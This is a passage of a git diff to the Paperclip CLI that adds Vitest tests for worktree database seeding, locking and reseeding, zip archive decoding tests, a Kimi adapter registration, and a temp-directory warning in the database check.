expect(seedDatabase).toHaveBeenCalledWith(expect.objectContaining({ + sourceConfigPath: canonicalSource, + expectedCompanyId: "company-1", + })); + expect(readWorktreeSeedManifest(targetConfigPath)).toMatchObject({ + source: { + configPath: canonicalSource, + instanceId: "registered-source", + }, + state: "verified", + diagnostics: expect.arrayContaining([ + expect.objectContaining({ + message: "Re-derived seed source diagnostics from the registered canonical source.", + }), + ]), + }); + expect(fs.existsSync(path.join(targetRoot, ".paperclip", "seed.lock"))).toBe(false); + } finally { + fs.rmSync(tempRoot, { recursive: true, force: true }); + } + }, + ); + + it("ensure-seeded records a target shutdown diagnostic when restore fails", async () => { + const tempRoot = fs.mkdtempSync(path.join(os.tmpdir(), "paperclip-worktree-ensure-seeded-failure-")); + try { + const sourceConfigPath = path.join(tempRoot, "source", "config.json"); + const targetRoot = path.join(tempRoot, "worktree"); + const targetConfigPath = path.join(targetRoot, ".paperclip", "config.json"); + const targetPaths = resolveWorktreeLocalPaths({ + cwd: targetRoot, + homeDir: path.join(tempRoot, "worktree-home"), + instanceId: "ensure-seeded-failure", + }); + const sourceConfig = buildSourceConfig(); + const targetConfig = buildWorktreeConfig({ + sourceConfig, + paths: targetPaths, + serverPort: 3198, + databasePort: 54998, + }); + fs.mkdirSync(path.dirname(sourceConfigPath), { recursive: true }); + fs.mkdirSync(path.dirname(targetConfigPath), { recursive: true }); + fs.writeFileSync(sourceConfigPath, `${JSON.stringify(sourceConfig)}\n`); + fs.writeFileSync(path.join(path.dirname(sourceConfigPath), ".env"), "PAPERCLIP_INSTANCE_ID=source\n"); + fs.writeFileSync(targetConfigPath, `${JSON.stringify(targetConfig)}\n`); + fs.writeFileSync( + path.join(targetRoot, ".paperclip", ".env"), + `PAPERCLIP_HOME=${targetPaths.homeDir}\nPAPERCLIP_INSTANCE_ID=${targetPaths.instanceId}\n`, + ); + markWorktreeSeedPending({ configPath: targetConfigPath, sourceConfigPath }); + + await expect( + ensureWorktreeSeeded( + { config: targetConfigPath, fromConfig: sourceConfigPath }, + { + seedDatabase: vi.fn(async (input) => { + input.onPhase?.("restore", "started"); + throw new Error( + "Failed to restore seed.sql.gz: FATAL: the database system is shutting down; psql error: write EPIPE", + ); + }), + }, + ), + ).rejects.toThrow("database system is shutting down"); + + expect(readWorktreeSeedManifest(targetConfigPath)).toMatchObject({ + state: "failed", + phase: "restore", + diagnostics: expect.arrayContaining([ + expect.objectContaining({ + phase: "restore", + status: "failed", + message: + "Target embedded PostgreSQL shut down during restore. Stop any competing worktree service and retry the seed.", + }), + ]), + }); + expect(fs.existsSync(path.join(targetRoot, ".paperclip", "seed-pending"))).toBe(false); + expect(fs.existsSync(path.join(targetRoot, ".paperclip", "seed-complete"))).toBe(false); + expect(fs.existsSync(path.join(targetRoot, ".paperclip", "seed.lock"))).toBe(false); + } finally { + fs.rmSync(tempRoot, { recursive: true, force: true }); + } + }); + + it("serializes concurrent ensure-seeded calls across the seed marker lock", async () => { + const tempRoot = fs.mkdtempSync(path.join(os.tmpdir(), "paperclip-worktree-ensure-seeded-lock-")); + try { + const sourceConfigPath = path.join(tempRoot, "source", "config.json"); + const targetRoot = path.join(tempRoot, "worktree"); + const targetConfigPath = path.join(targetRoot, ".paperclip", "config.json"); + const targetPaths = resolveWorktreeLocalPaths({ + cwd: targetRoot, + homeDir: path.join(tempRoot, "worktree-home"), + instanceId: "ensure-seeded-lock", + }); + const sourceConfig = buildSourceConfig(); + const targetConfig = buildWorktreeConfig({ + sourceConfig, + paths: targetPaths, + serverPort: 3197, + databasePort: 54997, + }); + fs.mkdirSync(path.dirname(sourceConfigPath), { recursive: true }); + fs.mkdirSync(path.dirname(targetConfigPath), { recursive: true }); + fs.writeFileSync(sourceConfigPath, `${JSON.stringify(sourceConfig)}\n`); + fs.writeFileSync(path.join(path.dirname(sourceConfigPath), ".env"), "PAPERCLIP_INSTANCE_ID=source\n"); + fs.writeFileSync(targetConfigPath, `${JSON.stringify(targetConfig)}\n`); + fs.writeFileSync( + path.join(targetRoot, ".paperclip", ".env"), + `PAPERCLIP_HOME=${targetPaths.homeDir}\nPAPERCLIP_INSTANCE_ID=${targetPaths.instanceId}\n`, + ); + markWorktreeSeedPending({ configPath: targetConfigPath, sourceConfigPath }); + + const seedDatabase = vi.fn(async () => { + await new Promise((resolve) => setTimeout(resolve, 100)); + return mockVerifiedSeedResult(); + }); + + const results = await Promise.all([ + ensureWorktreeSeeded({ config: targetConfigPath, fromConfig: sourceConfigPath }, { seedDatabase }), + ensureWorktreeSeeded({ config: targetConfigPath, fromConfig: sourceConfigPath }, { seedDatabase }), + ]); + + expect(results).toEqual(expect.arrayContaining([ + expect.objectContaining({ seeded: true, reason: "seeded" }), + { seeded: false, reason: "verified_manifest" }, + ])); + expect(seedDatabase).toHaveBeenCalledTimes(1); + expect(fs.existsSync(path.join(targetRoot, ".paperclip", "seed.lock"))).toBe(false); + } finally { + fs.rmSync(tempRoot, { recursive: true, force: true }); + } + }); + + it("records an interrupted phase before retrying to a verified terminal state", async () => { + const tempRoot = fs.mkdtempSync(path.join(os.tmpdir(), "paperclip-worktree-interrupted-seed-")); + try { + const sourceConfigPath = path.join(tempRoot, "source", "config.json"); + const targetRoot = path.join(tempRoot, "worktree"); + const targetConfigPath = path.join(targetRoot, ".paperclip", "config.json"); + const targetPaths = resolveWorktreeLocalPaths({ + cwd: targetRoot, + homeDir: path.join(tempRoot, "worktree-home"), + instanceId: "interrupted-seed", + }); + const sourceConfig = buildSourceConfig(); + const targetConfig = buildWorktreeConfig({ + sourceConfig, + paths: targetPaths, + serverPort: 3196, + databasePort: 54996, + }); + fs.mkdirSync(path.dirname(sourceConfigPath), { recursive: true }); + fs.mkdirSync(path.dirname(targetConfigPath), { recursive: true }); + fs.writeFileSync(sourceConfigPath, `${JSON.stringify(sourceConfig)}\n`); + fs.writeFileSync(path.join(path.dirname(sourceConfigPath), ".env"), "PAPERCLIP_INSTANCE_ID=source\n"); + fs.writeFileSync(targetConfigPath, `${JSON.stringify(targetConfig)}\n`); + fs.writeFileSync( + path.join(targetRoot, ".paperclip", ".env"), + `PAPERCLIP_HOME=${targetPaths.homeDir}\nPAPERCLIP_INSTANCE_ID=${targetPaths.instanceId}\n`, + ); + markWorktreeSeedPending({ configPath: targetConfigPath, sourceConfigPath }); + const interrupted = readWorktreeSeedManifest(targetConfigPath)!; + fs.writeFileSync( + path.join(targetRoot, ".paperclip", "seed-manifest.json"), + `${JSON.stringify({ ...interrupted, state: "running", phase: "restore" }, null, 2)}\n`, + ); + + await expect(ensureWorktreeSeeded( + { config: targetConfigPath, fromConfig: sourceConfigPath }, + { seedDatabase: vi.fn().mockResolvedValue(mockVerifiedSeedResult()) }, + )).resolves.toMatchObject({ seeded: true, reason: "seeded" }); + + const verified = readWorktreeSeedManifest(targetConfigPath)!; + expect(verified.state).toBe("verified"); + expect(verified.diagnostics).toEqual(expect.arrayContaining([ + expect.objectContaining({ + phase: "restore", + status: "failed", + message: "The previous seed attempt ended without a terminal result.", + }), + ])); + } finally { + fs.rmSync(tempRoot, { recursive: true, force: true }); + } + }); + + it("fails closed instead of racing to reclaim a stale seed lock", async () => { + const tempRoot = fs.mkdtempSync(path.join(os.tmpdir(), "paperclip-worktree-ensure-seeded-stale-lock-")); + try { + const targetConfigPath = path.join(tempRoot, ".paperclip", "config.json"); + const lockPath = path.join(tempRoot, ".paperclip", "seed.lock"); + fs.mkdirSync(path.dirname(targetConfigPath), { recursive: true }); + fs.writeFileSync( + lockPath, + `${JSON.stringify({ + version: 1, + pid: 2_147_483_647, + token: "stale-owner", + createdAt: new Date(0).toISOString(), + })}\n`, + ); + const seedDatabase = vi.fn(); + + await expect( + ensureWorktreeSeeded({ config: targetConfigPath }, { seedDatabase }), + ).rejects.toThrow("belongs to exited process"); + + expect(seedDatabase).not.toHaveBeenCalled(); + expect(fs.existsSync(lockPath)).toBe(true); + } finally { + fs.rmSync(tempRoot, { recursive: true, force: true }); + } + }); + itEmbeddedPostgres("quarantines copied live execution state in seeded worktree databases", async () => { const tempDb = await startEmbeddedPostgresTestDatabase("paperclip-worktree-quarantine-"); const db = createDb(tempDb.connectionString); @@ -359,6 +1166,10 @@ describe("worktree helpers", () => { const todoIssueId = randomUUID(); const reviewIssueId = randomUUID(); const userIssueId = randomUUID(); + const projectId = randomUUID(); + const projectWorkspaceId = randomUUID(); + const executionWorkspaceId = randomUUID(); + const runtimeServiceId = randomUUID(); try { await db.insert(companies).values({ @@ -394,6 +1205,64 @@ describe("worktree helpers", () => { permissions: {}, }, ]); + await db.insert(projects).values({ + id: projectId, + companyId, + name: "Runtime quarantine", + status: "in_progress", + }); + await db.insert(projectWorkspaces).values({ + id: projectWorkspaceId, + companyId, + projectId, + name: "Primary workspace", + cwd: "/source/project", + metadata: { + keep: "project-metadata", + runtimeConfig: { + workspaceRuntime: { services: [{ name: "paperclip-dev" }] }, + desiredState: "running", + serviceStates: { "0": "running", "1": "manual" }, + }, + }, + }); + await db.insert(executionWorkspaces).values({ + id: executionWorkspaceId, + companyId, + projectId, + projectWorkspaceId, + mode: "isolated_workspace", + strategyType: "git_worktree", + name: "Copied runtime workspace", + cwd: "/source/worktree", + providerType: "git_worktree", + metadata: { + keep: "execution-metadata", + config: { + environmentId: "environment-1", + desiredState: "running", + serviceStates: { "0": "running" }, + }, + }, + }); + await db.insert(workspaceRuntimeServices).values({ + id: runtimeServiceId, + companyId, + projectId, + projectWorkspaceId, + executionWorkspaceId, + scopeType: "project_workspace", + scopeId: projectWorkspaceId, + serviceName: "paperclip-dev", + status: "running", + lifecycle: "shared", + provider: "local_process", + providerRef: "12345", + ownerAgentId: agentId, + port: 42013, + url: "https://paperclip-dev.example.test:42013", + healthStatus: "healthy", + }); await db.insert(issues).values([ { id: inProgressIssueId, @@ -445,6 +1314,9 @@ describe("worktree helpers", () => { quarantinedInProgressIssues: 1, unassignedTodoIssues: 1, unassignedReviewIssues: 1, + stoppedProjectWorkspaceRuntimes: 1, + stoppedExecutionWorkspaceRuntimes: 1, + stoppedRuntimeServices: 1, }); const [quarantinedAgent] = await db.select().from(agents).where(eq(agents.id, agentId)); @@ -475,6 +1347,47 @@ describe("worktree helpers", () => { const comments = await db.select().from(issueComments).where(eq(issueComments.issueId, inProgressIssueId)); expect(comments).toHaveLength(1); expect(comments[0]?.body).toContain("Quarantined during worktree seed"); + + const [projectWorkspace] = await db + .select() + .from(projectWorkspaces) + .where(eq(projectWorkspaces.id, projectWorkspaceId)); + expect(projectWorkspace?.metadata).toEqual({ + keep: "project-metadata", + runtimeConfig: { + workspaceRuntime: { services: [{ name: "paperclip-dev" }] }, + desiredState: "stopped", + serviceStates: { "0": "stopped", "1": "manual" }, + }, + }); + + const [executionWorkspace] = await db + .select() + .from(executionWorkspaces) + .where(eq(executionWorkspaces.id, executionWorkspaceId)); + expect(executionWorkspace?.metadata).toEqual({ + keep: "execution-metadata", + config: { + environmentId: "environment-1", + desiredState: "stopped", + serviceStates: { "0": "stopped" }, + }, + }); + + const [runtimeService] = await db + .select() + .from(workspaceRuntimeServices) + .where(eq(workspaceRuntimeServices.id, runtimeServiceId)); + expect(runtimeService).toMatchObject({ + status: "stopped", + healthStatus: "unknown", + providerRef: null, + ownerAgentId: null, + startedByRunId: null, + port: null, + url: null, + }); + expect(runtimeService?.stoppedAt).toBeInstanceOf(Date); } finally { await db.$client?.end?.({ timeout: 5 }).catch(() => undefined); await tempDb.cleanup(); @@ -614,7 +1527,100 @@ describe("worktree helpers", () => { }); itEmbeddedPostgres( - "seeds authenticated users into minimally cloned worktree instances", + "seeds a local-trusted implicit board user without a credential account", + async () => { + const tempRoot = fs.mkdtempSync(path.join(os.tmpdir(), "paperclip-worktree-local-board-seed-")); + const worktreeRoot = path.join(tempRoot, "PAP-17696-local-board-seed"); + const sourceConfigDir = path.join(tempRoot, "source"); + const sourceConfigPath = path.join(sourceConfigDir, "config.json"); + const sourceKeyPath = path.join(sourceConfigDir, "secrets", "master.key"); + const worktreeHome = path.join(tempRoot, ".paperclip-worktrees"); + const originalCwd = process.cwd(); + const sourceDb = await startEmbeddedPostgresTestDatabase("paperclip-worktree-local-board-source-"); + + try { + await seedValidWorktreeSource(sourceDb.connectionString, { + includeCredentialAccount: false, + userId: "local-board", + }); + fs.mkdirSync(path.dirname(sourceKeyPath), { recursive: true }); + fs.mkdirSync(worktreeRoot, { recursive: true }); + + const sourceConfig = buildSourceConfig(); + sourceConfig.database = { + ...sourceConfig.database, + mode: "postgres", + connectionString: sourceDb.connectionString, + }; + sourceConfig.server.deploymentMode = "local_trusted"; + sourceConfig.server.exposure = "private"; + sourceConfig.auth.baseUrlMode = "auto"; + delete sourceConfig.auth.publicBaseUrl; + sourceConfig.secrets.localEncrypted.keyFilePath = sourceKeyPath; + + fs.writeFileSync(sourceConfigPath, `${JSON.stringify(sourceConfig, null, 2)}\n`, "utf8"); + fs.writeFileSync(sourceKeyPath, "source-master-key", "utf8"); + + process.chdir(worktreeRoot); + await worktreeInitCommand({ + name: "PAP-17696-local-board-seed", + home: worktreeHome, + fromConfig: sourceConfigPath, + force: true, + }); + + const targetConfigPath = path.join(worktreeRoot, ".paperclip", "config.json"); + const targetConfig = JSON.parse(fs.readFileSync(targetConfigPath, "utf8")) as PaperclipConfig; + expect(readWorktreeSeedManifest(targetConfigPath)).toMatchObject({ + state: "verified", + phase: "complete", + }); + + const { default: EmbeddedPostgres } = await import("embedded-postgres"); + const targetPg = new EmbeddedPostgres({ + databaseDir: targetConfig.database.embeddedPostgresDataDir, + user: "paperclip", + password: "paperclip", + port: targetConfig.database.embeddedPostgresPort, + persistent: true, + initdbFlags: ["--encoding=UTF8", "--locale=C", "--lc-messages=C"], + onLog: () => {}, + onError: () => {}, + }); + + await targetPg.start(); + try { + const targetDb = createDb( + `postgres://paperclip:paperclip@127.0.0.1:${targetConfig.database.embeddedPostgresPort}/paperclip`, + ); + const [seededLocalBoard] = await targetDb + .select({ id: authUsers.id }) + .from(authUsers) + .where(eq(authUsers.id, "local-board")); + const seededAccounts = await targetDb.select().from(authAccounts); + expect(seededLocalBoard?.id).toBe("local-board"); + expect(seededAccounts).toHaveLength(0); + await targetDb.$client.end({ timeout: 5 }); + } finally { + await targetPg.stop(); + } + } finally { + process.chdir(originalCwd); + await sourceDb.cleanup(); + fs.rmSync(tempRoot, { recursive: true, force: true }); + } + }, + // This test starts three separate embedded Postgres lifecycles (the + // source database, the worktree init's internal target database, and a + // third instance opened here to verify the seeded rows), so it needs + // more headroom than the other embedded-Postgres tests in this file. + // It normally finishes in well under 10s; the 60s budget absorbs CI + // runner contention without masking a real hang. + 60_000, + ); + + itEmbeddedPostgres( + "seeds a lagging source whose migration application order differs from filename order", async () => { const tempRoot = fs.mkdtempSync(path.join(os.tmpdir(), "paperclip-worktree-auth-seed-")); const worktreeRoot = path.join(tempRoot, "PAP-999-auth-seed"); @@ -628,15 +1634,57 @@ describe("worktree helpers", () => { const sourceDb = await startEmbeddedPostgresTestDatabase("paperclip-worktree-auth-source-"); try { + await seedValidWorktreeSource(sourceDb.connectionString); const sourceDbClient = createDb(sourceDb.connectionString); - await sourceDbClient.insert(authUsers).values({ - id: "user-existing", - email: "existing@paperclip.ing", - name: "Existing User", - emailVerified: true, - createdAt: new Date(), - updatedAt: new Date(), - }); + await sourceDbClient.$client.unsafe(` + DELETE FROM "drizzle"."__drizzle_migrations" + WHERE "id" = ( + SELECT max("id") FROM "drizzle"."__drizzle_migrations" + ); + + WITH pair AS ( + SELECT + array_agg("id" ORDER BY "id" DESC) AS ids, + array_agg("hash" ORDER BY "id" DESC) AS hashes + FROM ( + SELECT "id", "hash" + FROM "drizzle"."__drizzle_migrations" + ORDER BY "id" DESC + LIMIT 2 + ) latest + ) + UPDATE "drizzle"."__drizzle_migrations" migrations + SET "hash" = CASE + WHEN migrations."id" = pair.ids[1] THEN pair.hashes[2] + WHEN migrations."id" = pair.ids[2] THEN pair.hashes[1] + ELSE migrations."hash" + END + FROM pair + WHERE migrations."id" IN (pair.ids[1], pair.ids[2]); + + INSERT INTO "drizzle"."__drizzle_migrations" ("hash", "created_at") + VALUES ('stale-unresolvable-migration-hash', 0) + `); + await sourceDbClient.$client.end({ timeout: 5 }); + const laggingMigrationState = await inspectMigrations(sourceDb.connectionString); + expect(laggingMigrationState.status).toBe("needsMigrations"); + if (laggingMigrationState.status !== "needsMigrations") { + throw new Error("Expected the source migration journal to lag the code journal"); + } + expect(laggingMigrationState.pendingMigrations).toHaveLength(1); + const expectedAppliedPrefix = laggingMigrationState.availableMigrations.slice( + 0, + laggingMigrationState.appliedMigrations.length, + ); + expect(laggingMigrationState.appliedMigrations).not.toEqual(expectedAppliedPrefix); + expect([...laggingMigrationState.appliedMigrations].sort()).toEqual( + [...expectedAppliedPrefix].sort(), + ); + expect(laggingMigrationState.journalEntryCount).toBeGreaterThan( + laggingMigrationState.appliedMigrations.length, + ); + const sourceMigrationRevision = expectedAppliedPrefix.at(-1); + expect(sourceMigrationRevision).toBeTruthy(); fs.mkdirSync(path.dirname(sourceKeyPath), { recursive: true }); fs.mkdirSync(worktreeRoot, { recursive: true }); @@ -673,6 +1721,19 @@ describe("worktree helpers", () => { const targetConfig = JSON.parse( fs.readFileSync(path.join(worktreeRoot, ".paperclip", "config.json"), "utf8"), ) as PaperclipConfig; + const manifestText = fs.readFileSync( + path.join(worktreeRoot, ".paperclip", "seed-manifest.json"), + "utf8", + ); + expect(JSON.parse(manifestText)).toMatchObject({ + version: 2, + seedMode: "minimal", + state: "verified", + phase: "complete", + }); + expect(manifestText).toContain(`Validated migration ${sourceMigrationRevision}`); + expect(manifestText).not.toContain("fixture-password-hash"); + expect(manifestText).not.toContain("source-master-key"); const { default: EmbeddedPostgres } = await import("embedded-postgres"); const targetPg = new EmbeddedPostgres({ databaseDir: targetConfig.database.embeddedPostgresDataDir, @@ -785,6 +1846,61 @@ describe("worktree helpers", () => { } }); + it("reserves distinct ports for postgres-mode siblings under a custom worktree parent", async () => { + const tempRoot = fs.mkdtempSync(path.join(os.tmpdir(), "paperclip-worktree-custom-parent-")); + const homeDir = path.join(tempRoot, ".paperclip-worktrees"); + const customParentDir = path.join(tempRoot, "custom", "workspace-lanes"); + const firstWorktreeRoot = path.join(customParentDir, "lane-one"); + const secondWorktreeRoot = path.join(customParentDir, "lane-two"); + const missingSourceConfig = path.join(tempRoot, "missing", "config.json"); + const firstConfigPath = path.join(firstWorktreeRoot, ".paperclip", "config.json"); + const secondConfigPath = path.join(secondWorktreeRoot, ".paperclip", "config.json"); + const originalCwd = process.cwd(); + + try { + fs.mkdirSync(firstWorktreeRoot, { recursive: true }); + fs.mkdirSync(secondWorktreeRoot, { recursive: true }); + + process.chdir(firstWorktreeRoot); + await worktreeInitCommand({ + name: "lane-one", + seed: false, + fromConfig: missingSourceConfig, + home: homeDir, + }); + + const firstConfig = JSON.parse(fs.readFileSync(firstConfigPath, "utf8")); + firstConfig.database = { + ...firstConfig.database, + mode: "postgres", + connectionString: "postgres://paperclip:paperclip@127.0.0.1:54330/paperclip", + }; + fs.writeFileSync(firstConfigPath, `${JSON.stringify(firstConfig, null, 2)}\n`, "utf8"); + + process.chdir(secondWorktreeRoot); + await worktreeInitCommand({ + name: "lane-two", + seed: false, + fromConfig: missingSourceConfig, + home: homeDir, + }); + + const secondConfig = JSON.parse(fs.readFileSync(secondConfigPath, "utf8")); + const registry = JSON.parse( + fs.readFileSync(path.join(homeDir, "worktree-port-reservations.json"), "utf8"), + ); + + expect(secondConfig.server.port).not.toBe(firstConfig.server.port); + expect(secondConfig.database.embeddedPostgresPort).not.toBe( + firstConfig.database.embeddedPostgresPort, + ); + expect(registry.configPaths).toEqual([firstConfigPath, secondConfigPath].sort()); + } finally { + process.chdir(originalCwd); + fs.rmSync(tempRoot, { recursive: true, force: true }); + } + }); + it("defaults the seed source config to the current repo-local Paperclip config", () => { const tempRoot = fs.mkdtempSync(path.join(os.tmpdir(), "paperclip-worktree-source-config-")); const repoRoot = path.join(tempRoot, "repo"); @@ -929,9 +2045,8 @@ describe("worktree helpers", () => { const originalCwd = process.cwd(); const originalPaperclipConfig = process.env.PAPERCLIP_CONFIG; const currentDatabaseReservation = await reserveTestPort(); - const sourceDatabaseReservation = await reserveTestPort(); const currentDatabasePort = currentDatabaseReservation.port; - const sourceDatabasePort = sourceDatabaseReservation.port; + const sourceDb = await startEmbeddedPostgresTestDatabase("paperclip-worktree-reseed-source-"); try { fs.mkdirSync(path.dirname(currentPaths.configPath), { recursive: true }); @@ -946,15 +2061,28 @@ describe("worktree helpers", () => { serverPort: 3114, databasePort: currentDatabasePort, }); - const sourceConfig = buildWorktreeConfig({ - sourceConfig: buildSourceConfig(), - paths: sourcePaths, - serverPort: 3200, - databasePort: sourceDatabasePort, - }); + const sourceConfig = buildSourceConfig(); + sourceConfig.database = { + mode: "postgres", + embeddedPostgresDataDir: sourcePaths.embeddedPostgresDataDir, + embeddedPostgresPort: 54329, + backup: { + enabled: true, + intervalMinutes: 60, + retentionDays: 30, + dir: sourcePaths.backupDir, + }, + connectionString: sourceDb.connectionString, + }; + sourceConfig.logging.logDir = sourcePaths.logDir; + sourceConfig.storage.localDisk.baseDir = sourcePaths.storageDir; + sourceConfig.secrets.localEncrypted.keyFilePath = sourcePaths.secretsKeyFilePath; + await seedValidWorktreeSource(sourceDb.connectionString); fs.writeFileSync(currentPaths.configPath, JSON.stringify(currentConfig, null, 2), "utf8"); fs.writeFileSync(sourcePaths.configPath, JSON.stringify(sourceConfig, null, 2), "utf8"); fs.writeFileSync(sourcePaths.secretsKeyFilePath, "source-secret", "utf8"); + const worktreeSentinelPath = path.join(repoRoot, "user-worktree-file.txt"); + fs.writeFileSync(worktreeSentinelPath, "preserve me", "utf8"); fs.writeFileSync( currentPaths.envPath, [ @@ -970,11 +2098,11 @@ describe("worktree helpers", () => { process.chdir(repoRoot); await currentDatabaseReservation.release(); - await sourceDatabaseReservation.release(); await worktreeReseedCommand({ fromConfig: sourcePaths.configPath, yes: true, + backupTarget: true, }); const rewrittenConfig = JSON.parse(fs.readFileSync(currentPaths.configPath, "utf8")); @@ -986,9 +2114,13 @@ describe("worktree helpers", () => { expect(rewrittenEnv).toContain(`PAPERCLIP_INSTANCE_ID=${currentInstanceId}`); expect(rewrittenEnv).toContain("PAPERCLIP_WORKTREE_NAME=existing-name"); expect(rewrittenEnv).toContain("PAPERCLIP_WORKTREE_COLOR=\"#112233\""); + expect(fs.readFileSync(worktreeSentinelPath, "utf8")).toBe("preserve me"); + expect( + fs.readdirSync(path.join(currentPaths.backupDir, "repair")).some((name) => name.endsWith(".sql.gz")), + ).toBe(true); } finally { await currentDatabaseReservation.release(); - await sourceDatabaseReservation.release(); + await sourceDb.cleanup(); process.chdir(originalCwd); if (originalPaperclipConfig === undefined) { delete process.env.PAPERCLIP_CONFIG; diff --git a/cli/src/__tests__/zip-codec.test.ts b/cli/src/__tests__/zip-codec.test.ts new file mode 100644 index 00000000000..03788e88070 --- /dev/null +++ b/cli/src/__tests__/zip-codec.test.ts @@ -0,0 +1,69 @@ +import { describe, expect, it } from "vitest"; +import { bytesToPortableFileEntry, isBlobStorePath, readZipArchive } from "../commands/client/zip.js"; +import { createStoredZipArchive } from "./helpers/zip.js"; + +describe("isBlobStorePath", () => { + it("matches blobs/ entries at the archive root and under a package root", () => { + expect(isBlobStorePath("blobs/4f2d1c9a")).toBe(true); + expect(isBlobStorePath("paperclip-demo/blobs/4f2d1c9a")).toBe(true); + expect(isBlobStorePath("tasks/pap-1/TASK.md")).toBe(false); + expect(isBlobStorePath("blobs/nested/file")).toBe(false); + }); +}); + +describe("bytesToPortableFileEntry", () => { + it("keeps blobs/ entries as base64 octet streams regardless of extension", () => { + const bytes = new Uint8Array([0x00, 0x01, 0x80, 0xfe, 0xff]); + expect(bytesToPortableFileEntry("blobs/4f2d1c9a", bytes)).toEqual({ + encoding: "base64", + data: Buffer.from(bytes).toString("base64"), + contentType: "application/octet-stream", + }); + }); + + it("falls back to base64 when bytes are not valid UTF-8", () => { + const invalidUtf8 = new Uint8Array([0x68, 0x69, 0xff, 0xfe, 0xc0]); + expect(bytesToPortableFileEntry("tasks/pap-1/raw-notes", invalidUtf8)).toEqual({ + encoding: "base64", + data: Buffer.from(invalidUtf8).toString("base64"), + contentType: "application/octet-stream", + }); + }); + + it("decodes valid UTF-8 entries to text", () => { + const bytes = new TextEncoder().encode("# Notes\n\ncafé ✅\n"); + expect(bytesToPortableFileEntry("tasks/pap-1/TASK.md", bytes)).toBe("# Notes\n\ncafé ✅\n"); + }); +}); + +describe("readZipArchive", () => { + it("round-trips blob and invalid UTF-8 entries byte-exactly", async () => { + const blobBytes = new Uint8Array([0x89, 0x50, 0x4e, 0x47, 0x00, 0xff]); + const invalidUtf8 = new Uint8Array([0x68, 0x69, 0xff, 0xfe, 0xc0]); + const archive = createStoredZipArchive( + { + "COMPANY.md": "# Company\n", + "blobs/4f2d1c9a": blobBytes, + "notes/raw": invalidUtf8, + }, + "paperclip-demo", + ); + + await expect(readZipArchive(archive)).resolves.toEqual({ + rootPath: "paperclip-demo", + files: { + "COMPANY.md": "# Company\n", + "blobs/4f2d1c9a": { + encoding: "base64", + data: Buffer.from(blobBytes).toString("base64"), + contentType: "application/octet-stream", + }, + "notes/raw": { + encoding: "base64", + data: Buffer.from(invalidUtf8).toString("base64"), + contentType: "application/octet-stream", + }, + }, + }); + }); +}); diff --git a/cli/src/adapters/registry.ts b/cli/src/adapters/registry.ts index f30e32eafb6..7dfa12db95a 100644 --- a/cli/src/adapters/registry.ts +++ b/cli/src/adapters/registry.ts @@ -5,6 +5,7 @@ import { printCursorStreamEvent } from "@paperclipai/adapter-cursor-local/cli"; import { printCursorCloudEvent } from "@paperclipai/adapter-cursor-cloud/cli"; import { printGeminiStreamEvent } from "@paperclipai/adapter-gemini-local/cli"; import { printGrokStreamEvent } from "@paperclipai/adapter-grok-local/cli"; +import { printKimiStreamEvent } from "@paperclipai/adapter-kimi-local/cli"; import { formatStdoutEvent as printHermesGatewayStreamEvent } from "@paperclipai/hermes-paperclip-adapter/gateway/cli"; import { printHermesStreamEvent } from "@paperclipai/hermes-paperclip-adapter/cli"; import { printOpenCodeStreamEvent } from "@paperclipai/adapter-opencode-local/cli"; @@ -53,6 +54,11 @@ const grokLocalCLIAdapter: CLIAdapterModule = { formatStdoutEvent: printGrokStreamEvent, }; +const kimiLocalCLIAdapter: CLIAdapterModule = { + type: "kimi_local", + formatStdoutEvent: printKimiStreamEvent, +}; + const hermesGatewayCLIAdapter: CLIAdapterModule = { type: "hermes_gateway", formatStdoutEvent: printHermesGatewayStreamEvent, @@ -78,6 +84,7 @@ const adaptersByType = new Map( cursorCloudCLIAdapter, geminiLocalCLIAdapter, grokLocalCLIAdapter, + kimiLocalCLIAdapter, hermesGatewayCLIAdapter, hermesLocalCLIAdapter, openclawGatewayCLIAdapter, diff --git a/cli/src/checks/database-check.ts b/cli/src/checks/database-check.ts index 4d4ef811e11..8e15cad14a3 100644 --- a/cli/src/checks/database-check.ts +++ b/cli/src/checks/database-check.ts @@ -1,8 +1,16 @@ import fs from "node:fs"; +import os from "node:os"; +import path from "node:path"; import type { PaperclipConfig } from "../config/schema.js"; import type { CheckResult } from "./index.js"; import { resolveRuntimeLikePath } from "./path-resolver.js"; +function isInsideOsTmpDir(targetPath: string): boolean { + const tmpRoot = path.resolve(os.tmpdir()); + const resolved = path.resolve(targetPath); + return resolved === tmpRoot || resolved.startsWith(`${tmpRoot}${path.sep}`); +} + export async function databaseCheck(config: PaperclipConfig, configPath?: string): Promise { if (config.database.mode === "postgres") { if (!config.database.connectionString) { @@ -37,9 +45,33 @@ export async function databaseCheck(config: PaperclipConfig, configPath?: string if (config.database.mode === "embedded-postgres") { const dataDir = resolveRuntimeLikePath(config.database.embeddedPostgresDataDir, configPath); - const reportedPath = dataDir; + + // A worktree-mode instance whose data dir lives under the OS temp dir is a red + // flag: this is what happens when PAPERCLIP_HOME / PAPERCLIP_IN_WORKTREE leak + // into a PRIMARY instance's environment and silently relocate it to a throwaway + // temp home, so it boots an empty DB and locks everyone out. (Intentional + // ephemeral/CI instances that don't set PAPERCLIP_IN_WORKTREE are not flagged.) + // Check BEFORE creating the dir so we don't bootstrap the very temp location + // we're warning about. + if (isInsideOsTmpDir(dataDir) && process.env.PAPERCLIP_IN_WORKTREE === "true") { + return { + name: "Database", + status: "warn", + message: + `Embedded PostgreSQL data dir is inside the OS temp directory (${dataDir}) ` + + "while running in worktree mode (PAPERCLIP_IN_WORKTREE=true). Data stored here is " + + "ephemeral and will be lost on reboot or a temp cleanup. If this is your primary " + + "instance, PAPERCLIP_HOME / PAPERCLIP_IN_WORKTREE likely leaked into its environment, " + + "pointing it at a throwaway worktree home instead of your real data.", + canRepair: false, + repairHint: + "If this is the primary instance, unset PAPERCLIP_HOME and PAPERCLIP_IN_WORKTREE " + + "(or pass --data-dir ) and restart so it uses the persistent instance.", + }; + } + if (!fs.existsSync(dataDir)) { - fs.mkdirSync(reportedPath, { recursive: true }); + fs.mkdirSync(dataDir, { recursive: true }); } return { diff --git a/cli/src/checks/index.ts b/cli/src/checks/index.ts index 7c2cb861634..dd784aafeca 100644 --- a/cli/src/checks/index.ts +++ b/cli/src/checks/index.ts @@ -16,3 +16,5 @@ export { logCheck } from "./log-check.js"; export { portCheck } from "./port-check.js"; export { secretsCheck } from "./secrets-check.js"; export { storageCheck } from "./storage-check.js"; +export { managedInstallChecks, nodeRuntimeCheck } from "./managed-install-check.js"; +export { serviceHealthChecks } from "./service-health-check.js"; diff --git a/cli/src/checks/managed-install-check.ts b/cli/src/checks/managed-install-check.ts new file mode 100644 index 